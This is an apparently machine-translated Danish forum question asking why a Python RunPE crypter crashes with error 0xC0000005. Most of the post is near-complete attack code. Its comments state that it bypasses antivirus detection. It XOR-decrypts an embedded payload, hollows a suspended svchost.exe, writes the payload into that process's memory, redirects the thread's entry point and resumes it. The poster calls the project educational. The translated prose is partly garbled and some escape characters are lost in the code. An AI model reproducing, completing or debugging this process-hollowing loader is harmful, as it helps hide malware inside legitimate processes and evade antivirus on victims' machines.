windows - 0xC0000005 fejl i min RunPE med python

Indlæg af Hanne Mølgaard Plasc

Problem



Jeg er nødt til at projekt for at lære at realisere en runPE under python (til uddannelsesmæssige formål).


Men da jeg ikke ved meget om domænet, forsøger jeg at ændre kilder for at gøre dem funktionelle (fordi alle runPE-projekter under python offentliggjort på github ikke fungerer i øjeblikket).



  Så jeg besluttede at træne under projektet: https:
  //github.com/oueldz4/runpe



Først og fremmest for at være klar med dig, skal jeg tale med dig om, hvad det er.



  RunPE er det generiske navn på en teknik, der bruges af mange malware.

  
  Denne teknik består i at lancere en ny proces i pause
  udskiftning af hukommelsesindholdet i den eksekverbare i pause og endelig
  at frigive processen. Dette giver dig mulighed for at køre en komplet eksekverbar
  uden at skulle lægge det på disken. Dette undgår at detekteres af
  antivirus.

  
  

    https://www.root-me.org/fr/Documentation/Applicatif/RunPE[4]

  



Så som du kan læse, bruges denne metode til at inficere en computer uden at blive registreret af Anti-Virus. Men for min del ønsker jeg at realisere dette uddannelsesprojekt. Sikkerhedsverdenen interesserer mig meget, og det er rigtigt, at forståelse af disse mekanismer er nyttigt, at du ikke smitter dig selv ved at downloade filer på internettet.


Lad os gå tilbage til det problem, jeg har.


Krypteren udsender endelig denne kode:


#!/usr/bin/env python 

# This script uses the runpe technique to bypass AV detection
# The payload it contains, is encrypted each time with a random key

# INSTALL pefile and ctypes packages
from itertools import cycle, izip
import sys, pefile
import ctypes


BYTE      = ctypes.c\_ubyte
WORD      = ctypes.c\_ushort
DWORD     = ctypes.c\_ulong
LPSTR     = ctypes.c\_char\_p 
HANDLE    = ctypes.c\_void\_p

CREATE\_SUSPENDED = 0x0004
MEM\_COMMIT = 0x1000
MEM\_RESERVE = 0x2000
PAGE\_EXECUTE\_READWRITE = 0x40

class PROCESS\_INFORMATION(ctypes.Structure):
    \_fields\_ = [
    ('hProcess', HANDLE), 
    ('hThread', HANDLE), 
    ('dwProcessId', DWORD), 
    ('dwThreadId', DWORD),
    ]

class STARTUPINFO(ctypes.Structure):
    \_fields\_ = [
    ('cb', DWORD), 
    ('lpReserved', LPSTR),    
    ('lpDesktop', LPSTR),
    ('lpTitle', LPSTR),
    ('dwX', DWORD),
    ('dwY', DWORD),
    ('dwXSize', DWORD),
    ('dwYSize', DWORD),
    ('dwXCountChars', DWORD),
    ('dwYCountChars', DWORD),
    ('dwFillAttribute', DWORD),
    ('dwFlags', DWORD),
    ('wShowWindow', WORD),
    ('cbReserved2', WORD),
    ('lpReserved2', DWORD),    
    ('hStdInput', HANDLE),
    ('hStdOutput', HANDLE),
    ('hStdError', HANDLE),
    ]

class FLOATING\_SAVE\_AREA(ctypes.Structure):
    \_fields\_ = [
    ("ControlWord", DWORD),
    ("StatusWord", DWORD),
    ("TagWord", DWORD),
    ("ErrorOffset", DWORD),
    ("ErrorSelector", DWORD),
    ("DataOffset", DWORD),
    ("DataSelector", DWORD),
    ("RegisterArea", BYTE * 80),
    ("Cr0NpxState", DWORD),
    ]   

class CONTEXT(ctypes.Structure):
    \_fields\_ = [
    ("ContextFlags", DWORD),
    ("Dr0", DWORD),
    ("Dr1", DWORD),
    ("Dr2", DWORD),
    ("Dr3", DWORD),
    ("Dr6", DWORD),
    ("Dr7", DWORD),
    ("FloatSave", FLOATING\_SAVE\_AREA),
    ("SegGs", DWORD),
    ("SegFs", DWORD),
    ("SegEs", DWORD),
    ("SegDs", DWORD),
    ("Edi", DWORD),
    ("Esi", DWORD),
    ("Ebx", DWORD),
    ("Edx", DWORD),
    ("Ecx", DWORD),
    ("Eax", DWORD),
    ("Ebp", DWORD),
    ("Eip", DWORD),
    ("SegCs", DWORD),
    ("EFlags", DWORD),
    ("Esp", DWORD),
    ("SegSs", DWORD),
    ("ExtendedRegisters", BYTE * 80),
    ]

encryptedbuff = ("x75x6cxa6x63x3ax37x36x63x35x62x38x36xc9x9cx39x37" 
"x58x23x5bx55x53x10x4ax0ax14x05x50x0ex4bx53x14x4c"
[...]

)

randomkey = '866c976c1b' 

filepath = 'C:WindowsSystem32svchost.exe'

si = STARTUPINFO()
si.cb = ctypes.sizeof(STARTUPINFO)
pi = PROCESS\_INFORMATION()
cx = CONTEXT()
cx.ContextFlags = 0x10007

key = cycle(randomkey)
decryptedbuff= ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(encryptedbuff, key))

# Get payload buffer as PE file
pe = pefile.PE(data=decryptedbuff)
fd\_size = len(decryptedbuff)
print "
[+] Payload size : "+str(fd\_size)

calloc = ctypes.cdll.msvcrt.calloc
p = calloc((fd\_size+1), ctypes.sizeof(ctypes.c\_char))
ctypes.memmove(p, decryptedbuff, fd\_size)

print "[+] Pointer : "+str(hex(p))
pefilepath = pefile.PE(filepath)

# Create new process in suspedend mode using a legitim executable (Ex. svchost.exe)
if ctypes.windll.kernel32.CreateProcessA(None, filepath, None, None, False, CREATE\_SUSPENDED, None, None, ctypes.byref(si), ctypes.byref(pi)):
    print "[+] Process successfuly launched"
    print "[+] PID : \%d
" \%pi.dwProcessId
else:   
    print "Failed to create new process"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Unmap the view of sections of the new process created
if ctypes.windll.ntdll.NtUnmapViewOfSection(pi.hProcess, LPSTR(pefilepath.OPTIONAL\_HEADER.ImageBase)):
    print "[+] Unmap View Of Section Succeed"
else:
    print "Failed to unmap the original exe"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Allocate memory to base address of malicious executable in suspended process
if ctypes.windll.kernel32.VirtualAllocEx(pi.hProcess, pe.OPTIONAL\_HEADER.ImageBase, pe.OPTIONAL\_HEADER.SizeOfImage, MEM\_COMMIT|MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE):
    print "[+] Virtual Alloc Succeed"
else:
    print "Failed to allocate virtual memory"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()

# Write in memory malicious file's header
if ctypes.windll.kernel32.WriteProcessMemory(pi.hProcess, LPSTR(pe.OPTIONAL\_HEADER.ImageBase), p, ctypes.c\_int(pe.OPTIONAL\_HEADER.SizeOfHeaders), None):
    print "[+] Write Process Memory Succeed"
else:   
    print "Failed to write to process memory"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Write sections one by one to memory 
for section in pe.sections:
    if ctypes.windll.kernel32.WriteProcessMemory(pi.hProcess, LPSTR(pe.OPTIONAL\_HEADER.ImageBase+section.VirtualAddress), (p+section.PointerToRawData), ctypes.c\_int(section.SizeOfRawData), None):
        print "[+] Writing Section "+section.Name+" Succeed"
    else:
        print "Failed to write to process memory"
        print "Error Code: ", ctypes.windll.kernel32.GetLastError()
        sys.exit(1)

# Get CPU context of this process
if ctypes.windll.kernel32.GetThreadContext(pi.hThread, ctypes.byref(cx)):
    print "[+] Get Thread Context Succeed"
else:
    print "Failed to get thread context"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Push the address of entry point in eax 
cx.Eax = pe.OPTIONAL\_HEADER.ImageBase + pe.OPTIONAL\_HEADER.AddressOfEntryPoint

# Write ImageBase to Ebx+8
if ctypes.windll.kernel32.WriteProcessMemory(pi.hProcess, LPSTR(cx.Ebx+8), (p+0x11C), 4, None):
    print "[+] Write Process Memory Succeed"
else:
    print "Failed to write to process memory"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Replace CPU context 
if ctypes.windll.kernel32.SetThreadContext(pi.hThread, ctypes.byref(cx)):
    print "[+] Set Thread Context Suceed"
else:
    print "Failed to set thread context"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)

# Resume the process so windows continues the execution
if ctypes.windll.kernel32.ResumeThread(pi.hThread):
    print "[+] Resume Thread Succeed"
    print "
[*] RunPE Succeed"
else:
    print "Failed to resume thread"
    print "Error Code: ", ctypes.windll.kernel32.GetLastError()
    sys.exit(1)


Men denne kode bringer mig den berømte fejl, 0xC0000005, når jeg prøver runPE med svchost.exe


Efter flere undersøgelser forstår jeg stadig ikke hvorfor jeg får dette problem.
De funktioner, jeg bruger, synes korrekt og passende, hvis jeg sammenligner dem med nogle tilsvarende projekter i C eller C ++.


Faktisk går min kode gennem disse funktioner:


CreateProcessA
NtUnmapViewOfSection
VirtualAllocEx
WriteProcessMemory
WriteProcessMemory
GetThreadContext
SetThreadContext
ResumeThread


Jeg blev opmærksom på dette projekt, der angiver hvilke trin der skal følges for at opnå det ønskede resultat: http://www.rohitab.com/discuss/topic/40262-dynamic-forking-process-hollowing/.
Og faktisk er rækkefølgen af ​​at bruge disse funktioner ikke det samme. Men det forekommer mig, at de funktioner, der anvendes i projektgithub for oueldz4, synes relevante, hvis jeg tror på de kommentarer, som forfatteren har givet. [5]


Kan nogen hjælpe mig bedre med at forstå oprindelsen af ​​dette problem? Jeg ved ikke, hvad jeg savnede ...


P.S: Jeg forsøger at gøre dette under vinduer 10 64 bit og python 2,7 32 bit. Desuden har jeg forkortet krypteret buffervariablen i min besked, fordi det tager for meget plads.

Bedste reference